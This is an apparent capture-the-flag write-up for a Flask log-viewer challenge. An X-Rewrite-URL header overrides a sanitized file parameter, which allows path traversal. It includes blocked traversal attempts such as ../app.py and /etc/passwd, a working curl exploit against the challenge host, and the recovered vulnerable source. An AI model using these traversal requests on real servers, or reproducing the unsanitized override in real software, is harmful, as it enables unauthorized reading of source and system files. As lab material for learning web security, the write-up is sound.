Приоритетный канал (Priority Channel)
Приоритетный канал (Priority Channel)
Platform: bug-makers | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-26 | Status: Solved Techniques: proxy_header_lfi, sanitization_bypass_via_header_override, x_rewrite_url_header_bypass
Summary
Task: Flask log viewer app with path traversal protection on query params; a hidden 'priority channel' via X-Rewrite-URL header bypasses sanitization. Solution: inject X-Rewrite-URL header with ../app.py to bypass path traversal checks and read source code containing the flag.
Приоритетный канал (Priority Channel) — Bug Makers CTF
Description
При разработке этого сервиса для просмотра логов наш ведущий архитектор оставил себе лазейку. Он рассуждал так: "Что, если в будущем наше приложение будет работать за сложной системой балансировки нагрузки или веб-прокси, которая будет изменять URL-адреса на лету? Нам нужен альтернативный, более надежный способ передать приложению нужный путь к файлу, который будет иметь приоритет над тем, что видно пользователю в адресной строке."
Он реализовал этот "приоритетный канал" для передачи данных, но, кажется, забыл добавить в него те же проверки безопасности, что и в основной обработчик. В итоге, если приложению что-то "прошептать" правильным образом, оно проигнорирует очевидные параметры из URL и слепо последует этой новой инструкции.
Ваша задача — найти этот скрытый канал и использовать его, чтобы прочитать исходный код приложения.
English summary: A Flask-based log viewer application has a "priority channel" — an HTTP header that overrides the file path parameter. The query parameter file is sanitized against path traversal (.. and leading /), but the X-Rewrite-URL header overrides the filename after sanitization, without any checks. The goal is to find this hidden channel and use it to read the application source code containing the flag.
Analysis
Reconnaissance
The target is a "LogVault Secure Viewer" running on Flask (Werkzeug/3.1.5, Python/3.9.25). The main functionality is at /logs?file=access.log which displays log file contents. The footer mentions: "Protected by our cutting-edge internal reverse proxy."
Path traversal protection
Standard path traversal attempts are blocked:
GET /logs?file=../app.py → 403 Forbidden
GET /logs?file=....//app.py → 403 Forbidden
GET /logs?file=/etc/passwd → 403 Forbidden
The sanitization checks for .. anywhere in the string and rejects filenames starting with /.
Identifying the priority channel
The challenge description strongly hints at an HTTP header used by load balancers/proxies to pass the "real" file path. The key phrases are:
- "priority channel" — an alternative data path
- "load balancer or web proxy that modifies URLs on the fly" — proxy headers
- "whisper the right way" — HTTP headers (invisible to the user in the address bar)
- "ignores obvious URL parameters" — header overrides query params
Testing common proxy headers:
| Header | Value | Result |
|---|---|---|
X-Original-URL | ../app.py | No effect (normal access.log returned) |
X-Forwarded-Path | ../app.py | No effect |
X-Rewrite-URL | /logs?file=../../app.py | "File not found or is a directory!" (404 — different response!) |
X-Rewrite-URL | ../app.py | SUCCESS — Flask source code returned |
The X-Rewrite-URL header is the "priority channel." When set to /logs?file=../../app.py, the app tried to use the entire string as a filename (hence 404). When set to ../app.py, it was joined with the logs/ directory and resolved to the parent directory — reading app.py.
The vulnerability in source code
The recovered app.py reveals the exact flaw:
python read-only • copy allowed@app.route('/logs') def get_log(): filename = request.args.get('file', 'access.log') # Sanitization — only applied to query parameter if '..' in filename or filename.startswith('/'): abort(403) # Priority channel — OVERWRITES filename WITHOUT sanitization if request.headers.get('X-Rewrite-URL'): filename = request.headers.get('X-Rewrite-URL') log_dir = os.path.join(os.path.dirname(__file__), 'logs') full_path = os.path.abspath(os.path.join(log_dir, filename)) if not os.path.isfile(full_path): return "File not found or is a directory!", 404 try: with open(full_path, 'rb') as f: content = f.read() return Response(content, mimetype='text/plain') except Exception as e: return "Error reading file", 500
The critical bug: sanitization is applied to request.args.get('file'), but then request.headers.get('X-Rewrite-URL') completely replaces the sanitized value with an unsanitized one. The os.path.abspath(os.path.join(log_dir, filename)) call with ../app.py resolves to the parent directory where app.py lives.
Solution
Exploit
bash read-only • copy allowedcurl -s "https://priority-channel.t1.bug-makers.ru/logs?file=access.log" \ -H "X-Rewrite-URL: ../app.py"
This sends a legitimate-looking request with file=access.log (passes sanitization), but the X-Rewrite-URL header overrides the filename to ../app.py after the security check, achieving path traversal to read the application source code.
Full source code recovered (app.py)
python read-only • copy allowedfrom flask import Flask, request, render_template, abort, send_from_directory from flask import Response import os app = Flask(__name__) # Флаг задачи FLAG = 'BugCTF{REDACTED}' APP_PORT = os.environ.get('APP_PORT', 5000) @app.route('/static/<path:filename>') def static_files(filename): return send_from_directory('static', filename) @app.route('/') def index(): return render_template('index.html') @app.route('/logs') def get_log(): filename = request.args.get('file', 'access.log') if '..' in filename or filename.startswith('/'): abort(403) if request.headers.get('X-Rewrite-URL'): filename = request.headers.get('X-Rewrite-URL') log_dir = os.path.join(os.path.dirname(__file__), 'logs') full_path = os.path.abspath(os.path.join(log_dir, filename)) if not os.path.isfile(full_path): return "File not found or is a directory!", 404 try: with open(full_path, 'rb') as f: content = f.read() return Response(content, mimetype='text/plain') except Exception as e: return "Error reading file", 500 @app.route('/health', methods=['GET']) def health_check(): return "OK", 200 if __name__ == '__main__': app.run(host='0.0.0.0', port=APP_PORT)